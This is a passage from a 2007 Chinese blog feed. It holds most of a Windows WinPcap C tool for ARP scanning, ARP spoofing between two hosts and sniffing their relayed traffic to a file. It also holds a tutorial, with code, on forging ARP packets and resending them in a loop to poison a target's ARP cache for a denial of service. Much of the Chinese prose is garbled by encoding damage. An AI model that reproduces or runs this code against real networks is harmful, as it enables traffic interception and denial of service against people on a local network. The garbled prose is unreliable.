ip\n");<br />    printf("   -r  reset      Reset the spoofed host work normally\n\n");<br />    printf("Attention:\n");<br />    printf("    1> You must have installed the winpcap_2.3 or winpcap_3.0_alpha\n");<br />    printf("    2> HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\IPEnableRouter==0x1\n\n");<br />    return ;<br />}<br /><br />int getmine()<br />{<br />    char   sendbuf[1024];<br />    int    k;<br />    ETHDR  eth;<br />    ARPHDR arp;<br /><br />    for(k=0;k<6;k++)<br />    {<br />        eth.eh_dst[k]=0xff;<br />        eth.eh_src[k]=0x82;<br />        arp.arp_sha[k]=0x82;<br />        arp.arp_tha[k]=0x00;<br />    }<br />    eth.eh_type=htons(ETH_ARP);<br />    arp.arp_hdr=htons(ARP_HARDWARE);<br />    arp.arp_pro=htons(ETH_IP);<br />    arp.arp_hln=6;<br />    arp.arp_pln=4;<br />    arp.arp_opt=htons(ARP_REQUEST);<br />    arp.arp_tpa=htonl(myip);<br />    arp.arp_spa=inet_addr("112.112.112.112");<br /><br />    memset(sendbuf,0,sizeof(sendbuf));<br />    memcpy(sendbuf,&eth;,sizeof(eth));<br />    memcpy(sendbuf+sizeof(eth),&arp,sizeof(arp));<br /><br />    PacketInitPacket(lppackets,sendbuf,sizeof(eth)+sizeof(arp));<br />    if(PacketSendPacket(lpadapter,lppackets,TRUE)==FALSE)<br />    {<br />        printf("PacketSendPacket in getmine Error: %d\n",GetLastError());<br />        return -1;             <br />    }<br />    return 0;<br />}<br /><br />void getdata(LPPACKET lp,int op) <br />{<br />    ULONG  ulbytesreceived,off,tlen,ulen,ulLines;<br />    ULONG  j,k;<br />    ETHDR  *eth;<br />    ARPHDR *arp;<br />    PIPHDR ip;<br />    char   *buf,*pChar,*pLine,*base;<br />    struct bpf_hdr      *hdr;<br />    struct sockaddr_in  sin;<br /><br /><br />    ulbytesreceived=lp->ulBytesReceived;<br />    buf=(char *)lp->Buffer;<br /><br />    off=0;<br />    while(off<ulbytesreceived)<br />    {<br />        if(kbhit())<br />        {<br />            return ;<br />        }<br />        hdr=(struct bpf_hdr *)(buf+off);<br />        off+=hdr->bh_hdrlen;<br /><br />        pChar=(char *)(buf+off);<br />        base=pChar;<br />        off=Packet_WORDALIGN(off+hdr->bh_caplen);<br /><br />        eth=(PETHDR)pChar;                <br />        arp=(PARPHDR)(pChar+sizeof(ETHDR)); <br /><br />        if(eth->eh_type==htons(ETH_IP)) <br />        {<br />                    ip=(PIPHDR)(pChar+sizeof(ETHDR));<br /><br />            if(fm && sm && (op==3))  <br />            {  <br />                if((((ip->sourceip!=htonl(myip)) && (ip->destip!=htonl(myip)) <br />                                && !strcmp((char *)eth->eh_dst,(char *)mmac)) <br />                && ((ip->sourceip==htonl(firstip)) || (ip->destip==htonl(firstip)) <br />                || (ip->sourceip==htonl(secondip)) || (ip->destip==htonl(secondip))))<br />                                || ((firstip==myip) && (secondip==myip)))<br />                {<br />                    memset(msg,0,sizeof(msg));<br /><br />                    sin.sin_addr.s_addr=ip->sourceip;                <br />                    printf("[IP:]%16s ---> [IP:]",inet_ntoa(sin.sin_addr));<br /><br />                                        strcpy(msg,inet_ntoa(sin.sin_addr));<br />                    strcat(msg+15," ---> ");<br /><br />                    sin.sin_addr.s_addr=ip->destip;<br />                    printf("%16s\n",inet_ntoa(sin.sin_addr));<br />                   <br />                    strcat(msg+23,inet_ntoa(sin.sin_addr));<br />                    fseek(fp,-2,1);<br />                    fwrite("\r\n\r\n\r\n",6,1,fp);<br />                    fwrite(msg,38,1,fp);<br />                    fwrite("\r\n",2,1,fp);<br /><br />                    ulLines=(hdr->bh_caplen+15)/16;<br />                    for(k=0;k<ulLines;k++)<br />                    {<br />                        pLine=pChar;<br />                        printf("%08lx : ",pChar-base);<br /><br />                        ulen=tlen;<br />                        ulen=(ulen>16) ? 16 : ulen;<br />                        tlen-=ulen;<br /><br />                        for(j=0;j<ulen;j++)<br />                            printf("%02x ",*(BYTE *)pChar++);<br /><br />                        if(ulen<16)<br />                            printf("%*s",(16-ulen)*3," ");<br /><br />                        pChar=pLine;<br /><br />                        for(j=0;j<ulen;j++,pChar++)<br />                        {<br />                            printf("%c",isprint(*pChar)? *pChar : '.');<br />                            fputc(isprint(*pChar) ? *pChar : '.',fp); <br />                        }<br />                        printf("\n");<br />                    }<br />                    printf("\n");<br />                                        fwrite("\r\n",2,1,fp);  <br />                }<br /><br />            }<br />            continue;<br />        }<br />                else if((eth->eh_type==htons(ETH_ARP)) && (arp->arp_opt==htons(ARP_REPLY)))  <br />        {<br />            sin.sin_addr.s_addr=arp->arp_spa;<br /><br />             if(sin.sin_addr.s_addr==htonl(myip)) <br />        {<br />            memcpy(mmac,eth->eh_src,6);<br />        if(!mm)<br />             {<br />            printf("\t");    <br />                     for(k=0;k<5;k++)<br />                        printf("%.2x-",eth->eh_src[k]);<br />                  printf("%.2x\n",eth->eh_src[5]);<br /><br />                    switch(op)<br />            {<br />                    case 1:<br />                         printf("\n[MAC LIST:]");<br />                        break;<br />                     case 2:<br />                        printf("\n[Sniffing Host:]");     <br />                         break;<br />                      default:                    <br />                         break;<br />            }<br />        }<br />            mm=TRUE;<br />        }<br /><br />             if((op==1) || (op==2))<br />            {<br />                printf("\n[IP:] %.16s  [MAC:] ",inet_ntoa(sin.sin_addr));<br />                for(k=0;k<5;k++)<br />                    printf("%.2x-",eth->eh_src[k]);<br />                printf("%.2x",eth->eh_src[5]);<br />        }<br />               else if(((op==3) || (op==4)) && (!fm || !sm))<br />        {<br />                if(arp->arp_spa==htonl(firstip))<br />            {<br />                    memcpy(fmac,eth->eh_src,6);<br />                    fm=TRUE;<br />            }<br />                <br />            if(arp->arp_spa==htonl(secondip))<br />            {<br />                    memcpy(smac,eth->eh_src,6);<br />                    sm=TRUE;<br />            }<br />        }<br />    }<br />    }<br />    return ;<br />}<br />            <br />DWORD WINAPI sniff(LPVOID no)<br />{<br />    int      option=*(int *)no;<br />    char     recvbuf[1024*250];<br /><br />    if(PacketSetHwFilter(lpadapter,NDIS_PACKET_TYPE_PROMISCUOUS)==FALSE)<br />    {<br />        printf("Warning: Unable to set the adapter to promiscuous mode\n");<br />    }<br /><br />    if(PacketSetBuff(lpadapter,500*1024)==FALSE)<br />    {<br />        printf("PacketSetBuff Error: %d\n",GetLastError());<br />        return -1;<br />    }<br /><br />    if(PacketSetReadTimeout(lpadapter,1)==FALSE)<br />    {<br />        printf("Warning: Unable to set the timeout\n");<br />    }<br /><br />    if((lppacketr=PacketAllocatePacket())==FALSE)<br />    {<br />        printf("PacketAllocatePacket receive Error: %d\n",GetLastError());<br />        return -1;<br />    }<br /><br />    PacketInitPacket(lppacketr,(char *)recvbuf,sizeof(recvbuf));<br /><br />    while(!kbhit())<br />    {<br />        if(PacketReceivePacket(lpadapter,lppacketr,TRUE)==FALSE)<br />        {<br />            if(GetLastError()==6)<br />                return 0;<br />                        printf("PacketReceivePacket Error: %d\n",GetLastError());<br />                    return -1;<br />        }<br />        getdata(lppacketr,option);<br />    }<br />    return 0;<br />}<br /><br />DWORD WINAPI sendMASR(LPVOID no)<br />{<br />    int    fun=*(int *)no;<br />    int    k,stimes;<br />        char   sendbuf[1024];<br />    ETHDR  eth;<br />    ARPHDR arp;<br /><br />    if(fun<1 || fun>4)<br />    {<br />        return -1;<br />    }<br />    else<br />    {<br />        for(k=0;k<6;k++)<br />        {<br />            eth.eh_dst[k]=0xff;<br />            arp.arp_tha[k]=0x00;<br />        }<br />        if(fun==2)<br />            eth.eh_dst[5]=0xfe;<br />    }<br /><br />    memcpy(eth.eh_src,mmac,6);<br />    eth.eh_type=htons(ETH_ARP);<br /><br />    arp.arp_hdr=htons(ARP_HARDWARE);<br />    arp.arp_pro=htons(ETH_IP);<br />    arp.arp_hln=6;<br />    arp.arp_pln=4;<br />    arp.arp_opt=htons(ARP_REQUEST);<br />    arp.arp_spa=htonl(myip);<br />    memcpy(arp.arp_sha,mmac,6);<br /><br />    if(fun==1 || fun==2)<br />        stimes=1;<br />    else if(fun==3 || fun==4)<br />        stimes=2;<br /><br />    for(k=0;k<stimes;k++)<br />    {<br />        if(stimes==1)<br />        {<br />            arp.arp_tpa=htonl(firstip+(num++));<br />        }<br />        else if(stimes==2)<br />        {<br />            switch(k)<br />            {<br />            case 0:<br />                arp.arp_tpa=htonl(firstip);<br />                break;<br />            case 1:<br />                arp.arp_tpa=htonl(secondip);<br />                break;<br />            default:<br />                break;<br />            }<br />        }<br /><br />        memset(sendbuf,0,sizeof(sendbuf));<br />        memcpy(sendbuf,&eth;,sizeof(eth));<br />        memcpy(sendbuf+sizeof(eth),&arp,sizeof(arp));<br /><br />        PacketInitPacket(lppackets,sendbuf,sizeof(eth)+sizeof(arp));<br />        if(PacketSendPacket(lpadapter,lppackets,TRUE)==FALSE)<br />        {<br />            printf("PacketSendPacket in sendMASR Error: %d\n",GetLastError());<br />            return -1;<br />        }<br />    }<br />    return 0;<br />}<br />        <br />DWORD WINAPI sendSR(LPVOID no)<br />{<br />    int     fun=*(int *)no;<br />    int     j,k;<br />    char    sendbuf[1024];<br />    struct  sockaddr_in  fsin,ssin;<br />    BOOL    stimes=FALSE;<br />    ETHDR   eth;<br />    ARPHDR  arp;<br /><br />    fsin.sin_addr.s_addr=htonl(firstip);<br />    ssin.sin_addr.s_addr=htonl(secondip);<br /><br />    eth.eh_type=htons(ETH_ARP);<br />    arp.arp_hdr=htons(ARP_HARDWARE);<br />    arp.arp_pro=htons(ETH_IP);<br />    arp.arp_hln=6;<br />    arp.arp_pln=4;<br />       arp.arp_opt=htons(ARP_REPLY);       <br /><br />    if(fun==3)<br />    {<br />        if(mm)<br />        {<br />            if((firstip==myip) && (secondip==myip))<br />            {<br />                        fm=TRUE;<br />                     sm=TRUE;<br /><br />                memcpy(fmac,mmac,6);<br />                memcpy(smac,mmac,6);<br />            }<br />            else if(!fm || !sm)<br />            {<br />                printf("\nNot get enough data\n"); <br />                return -1;<br />            }<br /><br />            for(j=0;j<2;j++)<br />            {<br />                if(j==0)<br />                {<br />                    printf("\nSpoofing %.16s :  ",inet_ntoa(fsin.sin_addr));<br />                    printf("%.16s ==> ",inet_ntoa(ssin.sin_addr));<br />                }<br />                else if(j==1)<br />                {<br />                    printf("Spoofing %.16s :  ",inet_ntoa(ssin.sin_addr));<br />                    printf("%.16s ==> ",inet_ntoa(fsin.sin_addr));<br />                }<br />                                for(k=0;k<5;k++)<br />                        printf("%.2x-",mmac[k]);<br />                    printf("%.2x\n",mmac[5]);<br />            }<br />            printf("\ni will try to snoof ...\n\n");<br />                    stimes=TRUE;<br />        }<br />        else <br />        {<br />            printf("\nNot get enough data\n"); <br />                return -1;<br />        }<br />    }<br />    else if(fun==4)<br />    {<br />        if(mm) <br />        {<br />            if((firstip==myip) && (secondip==myip))<br />            {<br />                        fm=TRUE;<br />                        sm=TRUE;<br /><br />                         memcpy(fmac,mmac,6);<br />                      memcpy(smac,mmac,6);<br />            }<br />            else if(!fm || !sm)<br />            {<br />                              printf("\nNot get enough data\n");<br />                         return -1;<br />            }<br /><br />            printf("\nReset %.16s :  ",inet_ntoa(fsin.sin_addr));<br />            printf("%.16s ==> ",inet_ntoa(ssin.sin_addr));<br /><br />                        for(k=0;k<5;k++)<br />                    printf("%.2x-",smac[k]);<br />                printf("%.2x\n",smac[5]);<br /><br />            printf("Reset %.16s :  ",inet_ntoa(ssin.sin_addr));<br />            printf("%.16s ==> ",inet_ntoa(fsin.sin_addr));<br /><br />                        for(k=0;k<5;k++)<br />                    printf("%.2x-",fmac[k]);<br />                 printf("%.2x\n\n",fmac[5]);<br /><br />                    stimes=FALSE;<br />        }<br />        else <br />        {<br />            printf("\nNot get enough data\n"); <br />                return -1;<br />        }<br />    }<br />    else<br />        return -1;<br /><br />    do<br />    {<br />        memcpy(eth.eh_dst,fmac,6);<br />        memcpy(arp.arp_tha,fmac,6);<br />        arp.arp_tpa=htonl(firstip);<br />        arp.arp_spa=htonl(secondip);<br /><br />        if(!stimes)<br />        {<br />            memcpy(eth.eh_src,smac,6);<br />            memcpy(arp.arp_sha,smac,6);<br />        }<br />        else<br />        {<br />            memcpy(eth.eh_src,mmac,6);<br />            memcpy(arp.arp_sha,mmac,6);<br />        }<br /><br />        memset(sendbuf,0,sizeof(sendbuf));<br />        memcpy(sendbuf,&eth;,sizeof(eth));<br />        memcpy(sendbuf+sizeof(eth),&arp,sizeof(arp));<br /><br />        PacketInitPacket(lppackets,sendbuf,sizeof(eth)+sizeof(arp));<br /><br />            if(PacketSetNumWrites(lpadapter,2)==FALSE)<br />        {<br />               printf("Warning: Unable to send a packet 2 times\n");<br />        }<br /><br />        if(PacketSendPacket(lpadapter,lppackets,TRUE)==FALSE)<br />        {<br />            printf("PacketSendPacket in SendSR Error: %d\n",GetLastError());<br />            return -1;<br />        }<br />        Sleep(1000);  <br /><br />        memcpy(eth.eh_dst,smac,6);<br />        memcpy(arp.arp_tha,smac,6);<br />        arp.arp_tpa=htonl(secondip);<br />        arp.arp_spa=htonl(firstip);<br /><br />        if(!stimes)<br />        {<br />            memcpy(eth.eh_src,fmac,6);<br />            memcpy(arp.arp_sha,fmac,6);<br />        }<br />                else    <br />        {<br />            memcpy(eth.eh_src,mmac,6);<br />            memcpy(arp.arp_sha,mmac,6);<br />        }<br /><br /><br />        memset(sendbuf,0,sizeof(sendbuf));<br />        memcpy(sendbuf,&eth;,sizeof(eth));<br />        memcpy(sendbuf+sizeof(eth),&arp,sizeof(arp));<br /><br />        PacketInitPacket(lppackets,sendbuf,sizeof(eth)+sizeof(arp));<br />        if(PacketSendPacket(lpadapter,lppackets,TRUE)==FALSE)<br />        {<br />            printf("PacketSendPacket int sendSR Error: %d\n",GetLastError());<br />            return -1;<br />        }<br />        Sleep(1000);<br />    }while(stimes);<br /><br />    if(fun==4)<br />        printf("Reset Successfully");<br /><br />    return 0;<br />}<br /><br />int main(int argc,char *argv[])<br />{<br />    HANDLE   sthread,rthread;<br />    WCHAR    adaptername[8192];<br />    WCHAR    *name1,*name2;<br />    ULONG    adapterlength;<br />    DWORD    threadsid,threadrid;<br />    struct   NetType      ntype;<br />    struct   bpf_stat     stat;<br />    struct   sockaddr_in  sin;<br />    struct   npf_if_addr  ipbuff;<br />    int      adapternum=0,opti=0,open,i,total;<br />    long     npflen;<br /><br />    system("cls.exe");<br />    start();<br /><br />    if(argc!=4)<br />    {<br />        usage();<br />        getche();<br />        return -1;<br />    }<br />    else<br />    {<br />        if(!strcmp(argv[1],"-m"))<br />        {<br />            opti=1;<br />        }<br />        else if(!strcmp(argv[1],"-a"))<br />        {<br />            opti=2;<br />        }<br />        else if(!strcmp(argv[1],"-s"))<br />        {<br />             opti=3;<br /><br />             if((fp=fopen("capture.txt","w+"))==NULL)<br />        {<br />                printf("Open capture.txt Error: %d\n");<br />                    return -1;<br />        }<br />                else<br />        {<br />                        fwrite("T-ARP Captrue Data",20,1,fp);<br />        }<br />        }<br />        else if(!strcmp(argv[1],"-r"))<br />        {<br />            opti=4;<br />        }<br />        else<br />        {<br />            usage();<br />            getche();<br />            return -1;<br />        }<br />    }<br /><br /><br />    firstip=ntohl(inet_addr(argv[2]));<br />    secondip=ntohl(inet_addr(argv[3]));<br />    total=secondip-firstip+1;<br /><br />    printf("\nLibarary Version: %s",PacketGetVersion());<br /><br />    adapterlength=sizeof(adaptername);<br /><br />    if(PacketGetAdapterNames((char *)adaptername,&adapterlength)==FALSE)<br />    {<br />        printf("PacketGetAdapterNames Error: %d\n",GetLastError());<br />        return -1;<br />    }<br />    <br />    name1=adaptername;<br />    name2=adaptername;<br />    i=0;<br /><br />    while((*name1!='\0') || (*(name1-1)!='\0'))<br />    {<br />        if(*name1=='\0')<br />        {<br />            memcpy(adapterlist[i],name2,2*(name1-name2));<br />            name2=name1+1;<br />            i++;<br />        }<br />        name1++;<br />    }<br /><br />    adapternum=i;<br />    printf("\nAdapters Installed:\n");<br />    for(i=0;i<adapternum;i++)<br />        wprintf(L"%d - %s\n",i+1,adapterlist[i]);<br /><br />    do<br />    {<br />        printf("\nSelect the number of the adapter to open: ");<br />        scanf("%d",&open);<br />        if(open>=1 && open<=adapternum)<br />            break;         <br />    }while(open<1 || open>adapternum);<br /><br />    lpadapter=PacketOpenAdapter(adapterlist[open-1]);<br /><br />    if(!lpadapter || (lpadapter->hFile==INVALID_HANDLE_VALUE))<br />    {<br />        printf("PacketOpenAdapter Error: %d\n",GetLastError());<br />        return -1;<br />    }<br /><br />    if(PacketGetNetType(lpadapter,&ntype))<br />    {<br />        printf("\n\t\t*** Host Information ***\n");<br />        printf("[LinkTpye:]\t%d\t\t",ntype.LinkType);    <br />        printf("[LinkSpeed:]\t%d b/s\n",ntype.LinkSpeed);<br />    }<br /><br />    npflen=sizeof(ipbuff);  <br />    if(PacketGetNetInfoEx(adapterlist[open-1],&ipbuff,&npflen))<br />    {<br />        sin=*(struct sockaddr_in *)&(ipbuff.Broadcast);<br />        printf("[Broadcast:]\t%.16s\t",inet_ntoa(sin.sin_addr));<br /><br />        sin=*(struct sockaddr_in *)&(ipbuff.SubnetMask);<br />        printf("[SubnetMask:]\t%.16s\n",inet_ntoa(sin.sin_addr));<br /><br />        sin=*(struct sockaddr_in *)&(ipbuff.IPAddress);<br />        printf("[IPAddress:]\t%.16s\t",inet_ntoa(sin.sin_addr));<br />        myip=ntohl(sin.sin_addr.s_addr);<br /><br />        printf("[MACAddress:]");<br />    }<br />    else<br />    {<br />        printf("\nNot get enough data\n");<br />        PacketFreePacket(lppackets);<br />        PacketCloseAdapter(lpadapter);<br />        return -1;<br />    }<br /><br />    if((lppackets=PacketAllocatePacket())==FALSE)<br />    {<br />        printf("PacketAllocatePacket send Error: %d\n",GetLastError());<br />        return -1;<br />    }<br /><br />    rthread=CreateThread(NULL,0,sniff,(LPVOID)&opti,0,&threadrid);<br />    Sleep(300);<br /><br />    if(getmine()) <br />    {<br />        PacketFreePacket(lppackets);<br />        PacketFreePacket(lppacketr);<br /><br />        PacketCloseAdapter(lpadapter);<br />        return -1;<br />    }<br />    Sleep(300);<br /><br />    if((opti==1) || (opti==2))<br />    {<br />        for(i=0;i<total;i++)<br />        {<br />            sthread=CreateThread(NULL,0,sendMASR,(LPVOID)&opti,0,&threadsid);<br />            Sleep(30);<br />        }<br />        Sleep(1000);<br />    }<br />    else if((opti==3) || (opti==4)) <br />    {<br />        sthread=CreateThread(NULL,0,sendMASR,(LPVOID)&opti,0,&threadsid);<br />        Sleep(300);<br />        CloseHandle(sthread);<br /><br />        sthread=CreateThread(NULL,0,sendSR,(LPVOID)&opti,0,&threadsid);<br />    }<br /><br />    WaitForSingleObject(sthread,INFINITE); <br />    CloseHandle(sthread);<br />    CloseHandle(rthread);<br /><br />    if(PacketGetStats(lpadapter,&stat)==FALSE)<br />    {<br />        printf("Warning: Unable to get the adapter stat\n");<br />    }<br />    else<br />    {<br />        printf("\n\n%d packets received, %d packets lost !\n",stat.bs_recv,stat.bs_drop);<br />    }<br />    PacketFreePacket(lppackets);<br />    PacketFreePacket(lppacketr);<br /><br />    PacketCloseAdapter(lpadapter);<br /><br />    return 0;<br />} <img src ="http://www.tkk7.com/yczz/aggbug/100172.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.tkk7.com/yczz/" target="_blank">飞鸟</a> 2007-02-18 11:32 <a href="http://www.tkk7.com/yczz/articles/100172.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>ARP Spoof&DoSd~程实战http://www.tkk7.com/yczz/articles/100081.html飞鸟飞鸟Fri, 16 Feb 2007 14:14:00 GMThttp://www.tkk7.com/yczz/articles/100081.htmlhttp://www.tkk7.com/yczz/comments/100081.htmlhttp://www.tkk7.com/yczz/articles/100081.html#Feedback0http://www.tkk7.com/yczz/comments/commentRss/100081.htmlhttp://www.tkk7.com/yczz/services/trackbacks/100081.html
关于讨论ARP哄骗的文章,黑防在第8期的《小HARP协议》和W?期《ARP SPOOF DoS攻防详谈》均有介l,不过Q俗话说Q授人鱼Q不如授Z渔,更多的读者也许期待的是如何将其原理和~程实现l合。本文的着W点正是Zq样的目的,更是对上qC文章的一个补充,希望能给读者们真正理解ARPd的实质,同时Q也l部分想学习而又x学习WinPcap的读者一些“师傅领q门”的感受?br />【以下测试环境ؓWinXPsp1 + VC6.0sp6 + WinPcap3.14betaQ其中,必须安装WinPcap3.0以上版本的驱动。?br />首先Q我们通过例子来回一下ARP哄骗和攻ȝ原理吧。先来做个实验,先打开一个cmdH口Q输入arp –aQ该命o表示通过询问当前协议数据来查看本机ARP~存保存的入口地址?

 

上面表示作者本人的LIP?92.168.3.155Q现在ARP~存里只有两条IP?92.168.3.253?92.168.3.254的ARP~存记录Q很昄Q两IP是作者主机所在局域网的网养I嘿嘿Q校园网和ADSLQ,它的MAC地址?*-**-18-23-b8-10?*-**-4c-78-22-22Q类型ؓdynamicQ即动态缓存?br />然后Qping同一局域网内的另一IP?92.168.3.162的主机,再次输入arp –aQ得到结果?br />看到Q虽然PING不通,但ARP~存却刷CQ添加了192.168.3.162q一记录,q显C其MAC地址?*-**-ab-31-5c-3cQ类型也是dynamicQ显ӞҎ开了防火墙q设|了止内发的PING包,但是仍然暴露了该L是活动主机的事实Q而且Ҏ的ARP~存因此而刷新?/p>

好了Q到现在Q我们可以把目标定ؓQ伪?92.168.3.155的MAC地址?1-22-33-44-55-66Q以辑ֈ哄骗的目的。我们以此ؓ基点Q先q入~码的部分。因为整个ARP Spoof&Dos都在交换环境的局域网内,涉及到的都是MAC层的通信Q所以定义以太网首部和ARP首部成为必要的了,q样我们才可以构造伪数据包,如下Q?br />typedef struct ehhdr
{
unsigned char eh_dst[6]; /* 目标以太|地址*/
unsigned char eh_src[6]; /* 源以太网地址 */
unsigned short eh_type; /* 以太|包cd */
}EHHDR, *PEHHDR;


typedef struct arphdr
{
unsigned short arp_hrd; /* g地址格式 */
unsigned short arp_pro; /* 协议地址格式 */
unsigned char arp_hln; /* g地址长度 */
unsigned char arp_pln; /* 协议地址长度 */
unsigned short arp_op; /* ARP/RARP 操作 */

unsigned char arp_sha[6]; /* 源发送者硬件地址 */
unsigned long arp_spa; /* 源发送者协议地址 */
unsigned char arp_tha[6]; /* 目标g地址 */
unsigned long arp_tpa; /* 目标协议地址 */
}ARPHDR, *PARPHDR;
每个字段在注释里讲的很详l了Q如果有疑问Q可以查阅TCP/IP相关书籍。下一步,W者的Spoof实现需要输?个IP地址外加一个可选的|卡地址Q所以就涉及到解析输入的L名或IP的实玎ͼq个怿很多写过|络E序的读者都不陌生,如下Q?br />DWORD ResolveAddr(const char* host)
{
PHOSTENT hp;
DWORD host_ip;
host_ip = inet_addr(host); /* 转换成网l地址 */
/* 如果是主机名或域名,非点?0q制IP */
if (host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if ( hp == NULL)
{
printf("\nError: could not resolv hostname %s\n", host);
exit(1);
}
else
host_ip = *(DWORD*)(hp->h_addr_list[0]); /* 转换?2位网l地址 */
}

return host_ip;
}
然后Q需要定义一个GetInterface()函数Q顾名思义Q就是获得本C机网l接口的意思,因ؓZWinPcap的几乎所有应用程序都需要选择合适的|卡适配器。(很多刚接触WinPcap的读者可能会感到很惶恐,好像WinPcap所用的API函数让很多WindowsE序员一下子接收不了Q其实很正常Q用的多了,看的多了Q慢慢的Q我怿读者门会越来越喜欢强大的WinPcap的)GetInterface()定义如下Q?br />pcap_t* GetInterface()
{
pcap_t *fp;
char errbuf[PCAP_ERRBUF_SIZE]; /* define PCAP_ERRBUF_SIZE 256 */
int i, inum;
pcap_if_t *alldevs, *d;
/*取得讑֤列表*/
if(pcap_findalldevs(&alldevs, errbuf) < 0) {
fprintf(stderr,"Error in pcap_findalldevs: %s\n", errbuf);
exit(1);
}
/* 打印讑֤列表*/
i = 0;
printf("\n\nInterfaces list:\n\n");
for(d = alldevs; d; d = d->next) {
printf("%d. %s", ++i, d->name);
if(d->description) printf(" (%s)\n", d->description);
else printf(" (No description available)\n");
}
if(i == 0) {
printf("\nNo interfaces found! Make sure WinPcap is installed.\n");
pcap_freealldevs(alldevs);
exit(1);
}
if(i > 1) {
printf("\n\nEnter the interface number (1 - %d): ",i);
scanf("%d", &inum);
if(inum < 1 || inum > i) {
printf("\nInterface number out of range.\n");
pcap_freealldevs(alldevs);
exit(1);
}
} else inum = 1;

/* 跛_被选择的网卡适配器接?*/
inum--;
for(d = alldevs, i = 0; i < inum; d = d->next, i++);
fprintf(stderr, "\n\nAdapter used: %s\n\n", d->name);
/* 从网l上打开zd的捕莯为,q回一个pcap_tcd描述W?*/
fp = pcap_open_live(d->name, 65535, 1, 1000, errbuf);
if(fp == NULL) {
printf("\nError: %s\n", errbuf);
pcap_freealldevs(alldevs);
exit(1);
}
/* 释放pcap_findalldevs()打开的接口列?/
pcap_freealldevs(alldevs);

return(fp);
}
上面的注释已l比较清楚了Q所有的涉及到的WinPcap的结构体和API函数Q以及基于WinPcapE序的编译方法,大家都可以到http://winpcap.polito.it/在线查询或把文档下蝲后本机查询,或者到论坛询问。在我的代码里,我假讑֦果用戯入可选的伪MAC地址Q则使用q个自定义的伪MAC地址Q如果不输入Q则使用随机产生的伪MAC地址Q代码部分如下:
if (!argv[3])
{
sprintf((char*)mac, "%c%c%c%c%c%c",
rand(), rand(), rand(), rand(), rand(), rand());
}
else
{
for(i=0; i<ETHERLEN; i++)
{
sscanf(argv[3], "%02X", &tmp);
mac[i] = tmp;
argv[3] += 3;
}
}
Z得到ql时钟生的随机敎ͼ必须在头文g里加?#include <time.h>Q在E序里加入srand(time(NULL));
WSAStartup(MAKEWORD(2, 2), &wsaData); /*初始化win sock?/
ip_add = ResolveAddr(argv[1]);
ip_dst = ResolveAddr(argv[2]);
WSACleanup(); /* 用完了,C释放?*/
Z使用winsock2头文Ӟ要指?pragma comment(lib, "ws2_32.lib")来包含ws2_32.lib库文件。下面就C自定义构造以太头和ARP头了Q这是我们伪造MAC的加工厂Q?br />memcpy(ether->eh_dst, DEST, ETHERLEN);
memcpy(ether->eh_src, mac, ETHERLEN);
ether->eh_type = htons(ETHERTYPE_ARP); /* #define ETHERTYPE_ARP 0x0806 */
arphdr->arp_hrd = htons(ARPHRD_ETHER);
arphdr->arp_pro = htons(ETHERTYPE_IP);
arphdr->arp_hln = ETHERLEN;
arphdr->arp_pln = PROTOLEN;
arphdr->arp_op = htons(ARPOP_REQUEST); /* h服务 */
memcpy(arphdr->arp_sha, mac, ETHERLEN); /* 伪源MAC地址 */
arphdr->arp_spa = ip_add; /* 伪源ARP 协议地址*/
memcpy(arphdr->arp_tha, SOURCE, ETHERLEN); /* 伪目标MAC地址 */
arphdr->arp_tpa = ip_dst; /* 伪目标ARP协议地址 */
q里所有的宏都可以在我提供的arp.h头文仉得到对应的定义。每一w很清晎ͼ主要是构造最后的几项Q有注释的行Q,那里是滋生罪恶的源头?br />伪MAC包构造好了,最后剩下的是发送伪数据包了Q再ơ发挥WinPcap库的发包函数Q如下:
pcap_sendpacket(fp, buff, sizeof(buff)) ;
到这Q可以长嘘一口气Q大g声“打完收工”,让我们测试一下成果,看是否能辑ֈ我们最开始预定的目标。输?arpspoof.exe 192.168.3.155 192.168.3.125 11-22-33-44-55-66
首先Q提C入接口号Q因为WinPcap库必选择正确的网卡适配器接口,在笔者机子上Q安装了2个虚拟机Q所以有4个接口,2h口代表本pȝ|卡接口Q所以?Q你的可能不同哦Q,回R后,发现右下脚马上提CIP地址冲突…嘿嘿,我们来分析一下,arpspoof.exe是我们哄骗程序,192.168.3.155是笔者的IP地址Q?92.168.3.162是同一局域网内另一LIPQ就是把192.168.3.155地址的MAC地址11Q?2Q?3Q?4Q?5Q?6d?92.168.3.162q台L的动态ARP~存里,dq后Q?92.168.3.162的ARP~存?br />刚才我把自己的IP当做参数一D了自qIP冲突Q那如果我想?92.168.3.162q台机子产生IP冲突Q就可以调换一下参C和参C的位|,?br />大家x什么原理,呵呵Q这里我׃多说了。如果想隐瞒作ؓd者的IP,W?个参数可以改成网D内的Q意其他的IP。这P我们发v一ơ攻击,192.168.3.162的主机就产生一ơIP冲突Q但q样肯定是不够的Q每隔一D|_Ҏ的ARP~存׃h一ơ,所以,如果要进行一ơARP Dosd的话Q我们还必须不断的给他们发,以保证对方ARP~存始终是我们构造的伪MAC地址。实现很单,如下Q?br />while(1) {
if(pcap_sendpacket(fp, buff, sizeof(buff)) < 0) {
printf("\nError: problems for sending packet\n");
exit(1);
}
printf(".");
sleep(DELAY); /* q里?define DELAY (CLOCKS_PER_SEC >> 1) 卛_U?*/
}
dq程?br />点点pC每隔半U发送一ơARP包。结果是Q在被DoSd后,如果再次PING
192.168.3.162Q即使对方不开防火墙,也没有禁止INNER PINGQ却仍然PING不通,查看
自己的ARP~存Q我们发玎ͼҎ的MAC地址~程?0-00-00-00-00-00Q攻L功?br />结Q?br />在了解了ARP Spoof&Dosd的原理后Q实现v来就不那么难了。大学校园网常常因ؓIP资源的严重不发生同学们互抢IP的现象,有懂一点ARP哄骗的学生就用网l执法官{工P而不懂的的就只有Mh宰割Q如果你q是那被宰割的一部分Z的一个,那么看完了本文的你,是不是也该做点什么了呢。(在光盘的源代码文仉Q只提供了一个源代码文garpspoof.cppQ它的作用是实现l目标IPdARP~存Q而arpdos.cpp我没有提供,防止有h做坏事,呵呵Q如果你是真心抱着学习的态度Q那么我怿看完



飞鸟 2007-02-16 22:14 发表评论
]]>
